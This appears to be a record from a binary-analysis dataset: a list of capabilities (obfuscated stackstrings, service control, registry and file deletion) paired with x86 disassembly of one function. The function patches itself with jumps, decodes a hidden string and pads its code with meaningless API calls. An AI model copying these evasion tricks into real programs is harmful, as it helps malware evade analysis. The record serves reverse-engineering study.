Function at 0xa9e000
Capabilities:
Accept command line arguments
Connect pipe
Contain obfuscated stackstrings
Create directory
Create pipe
Create process on windows
Create thread
Delete directory
Delete file
Delete registry value
Enumerate files on windows
Enumerate gui resources
Get common file path
Get disk information
Get disk size
Get file size
Get file system object information
Get geographical location
Get graphical window text
Get system information on windows
Get thread local storage value
Identify system language via api
Modify service
Query environment variable
Query or enumerate registry value
Read .ini file
Resume thread
Set registry value
Set thread local storage value
Start service
Stop service
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
mov dword [ebp - 0x10], 0xa9ecec
mov eax, dword [ebp - 0x10]
mov byte [eax + 1], 0
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
cmp eax, 0xe9
jne 0xa9e036
mov eax, dword [ebp - 0x10]
mov byte [eax + 2], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 3], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 4], 0
mov dword [ebp - 0x20], 0xa9e1b2
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jae 0xa9e0b8
call fcn.0047b7e2
cdq
push 0xf
pop ecx
idiv ecx
add edx, 0xa
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jb 0xa9e07a
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0xc]
mov byte [ebp - 1], al
jmp 0xa9e094
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
sub ecx, eax
cmp ecx, 2
jae 0xa9e094
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0xc]
mov byte [eax], 0xeb
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0xc]
mov byte [ecx + 1], al
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
jmp 0xa9e04a
mov byte [ebp - 0x68], 3
mov byte [ebp - 0x67], 0x21
mov byte [ebp - 0x66], 0
mov byte [ebp - 0x65], 0x75
mov byte [ebp - 0x64], 8
mov byte [ebp - 0x63], 0x75
mov byte [ebp - 0x62], 5
mov byte [ebp - 0x61], 0x70
mov byte [ebp - 0x60], 0xa
mov byte [ebp - 0x5f], 0x6c
mov byte [ebp - 0x5e], 0x47
mov byte [ebp - 0x5d], 0x3f
mov byte [ebp - 0x5c], 0x2a
mov byte [ebp - 0x5b], 0xa4
mov byte [ebp - 0x5a], 0x75
mov byte [ebp - 0x59], 0x75
mov byte [ebp - 0x58], 0x8c
mov byte [ebp - 0x57], 0xb1
mov byte [ebp - 0x56], 2
mov byte [ebp - 0x55], 0x77
mov byte [ebp - 0x54], 4
mov byte [ebp - 0x53], 0x82
mov byte [ebp - 0x52], 7
mov byte [ebp - 0x51], 0x6e
mov byte [ebp - 0x50], 6
mov byte [ebp - 0x4f], 0x7d
mov byte [ebp - 0x4e], 9
mov byte [ebp - 0x4d], 0x7a
mov byte [ebp - 0x4c], 1
mov byte [ebp - 0x4b], 0x88
and dword [ebp - 8], 0
and dword [ebp - 0x24], 0
jmp 0xa9e142
mov eax, dword [ebp - 8]
inc eax
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x1e
jae 0xa9e1a7
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x68]
lea eax, [eax + eax + 2]
cmp dword [ebp - 8], eax
jne 0xa9e16e
mov dword [ebp - 0x24], 0xa
mov eax, dword [ebp - 8]
add eax, 8
mov dword [ebp - 8], eax
jmp 0xa9e13a
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x67]
sub eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x24]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jge 0xa9e196
mov eax, dword [ebp - 0x18]
add eax, 0x100
mov dword [ebp - 0x18], eax
jmp 0xa9e183
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x68]
mov cl, byte [ebp - 0x18]
mov byte [ebp + eax - 0x30], cl
jmp 0xa9e13a
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x30], 0
push 0
push 0xa9379a
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x48]
call fcn.00407bf9
mov ecx, eax
call fcn.004032f5
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x48]
call fcn.00403299
and dword [ebp - 0x1c], 0
jmp 0xa9e1ea
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xb
jae 0xa9e1fa
mov eax, dword [ebp - 0x1c]
mov byte [ebp + eax - 0x30], 0
jmp 0xa9e1e3
push 0
push 1
push 0x6e4
push 0
call dword [sym.imp.USER32.dll_GetMenuItemInfoW]
push 1
push 0x10bc
push 0x47e
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetDlgItemInt]
push 0
call dword [sym.imp.ole32.dll_CoTaskMemFree]
push 0
push 0x16de
call dword [sym.imp.GDI32.dll_CreateHatchBrush]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call dword [sym.imp.KERNEL32.dll_SwitchToThread]
push 0
call dword [sym.imp.COMDLG32.dll_GetOpenFileNameW]
push 0x2211
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
push 0x8fc
push 0x1cf9
push 0
call dword [sym.imp.GDI32.dll_OffsetRgn]
push 0
call dword [sym.imp.GDI32.dll_CreateBitmapIndirect]
push 0
push 0x1999
push 0x55c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharABCWidthsW]
push 0x141a
push 0x26de
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowLongW]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
push 0
push 0x12be
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0
call dword [sym.imp.KERNEL32.dll_EncodePointer]
push 0x19e6
push 0x1bb3
push 0
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0
push 0x1db6
push 0x1e2a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetViewportOrgEx]
push 0x10ff
push 0xc54
push 0
call dword [sym.imp.GDI32.dll_PtInRegion]
push 0x1c8e
push 0x22fb
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawFrameControl]
push 0
push 0x2f7
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push 0
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
push 0
push 0x95e
push 0
call dword [sym.imp.ADVAPI32.dll_ControlService]
push 0
push 0x12fe
push 0
call dword [sym.imp.GDI32.dll_GetEnhMetaFileHeader]
push 0x22e2
push 0
push 0x1a52
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegSetKeySecurity]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
push 0
call dword [sym.imp.USER32.dll_DestroyMenu]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
push 0x6a3
push 0
push 0x12c1
push 0x2281
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExtFloodFill]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
push 0x19e4
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push 0
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push 0
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
push 0x1e2b
push 0x1484
push 0
push 0x71
push 0
call dword [sym.imp.USER32.dll_GetMenuStringW]
push 0
push 0x3e7
push 0
call dword [sym.imp.GDI32.dll_GetObjectW]
push 0
push 0xef2
push 0
push 0xbc2
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawTextExW]
push 0x18c4
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgCtrlID]
push 0
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0x24cb
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindow]
push 0
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
push 0
push 0xbd1
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByteEx]
push 0
push 0x20c0
push 0x3b8
push 0x1d43
push 0x263d
push 0x172e
push 0x37d
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
push 0
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push 0
push 0x1430
push 0x23e8
push 0x21f9
call dword [sym.imp.KERNEL32.dll_RaiseException]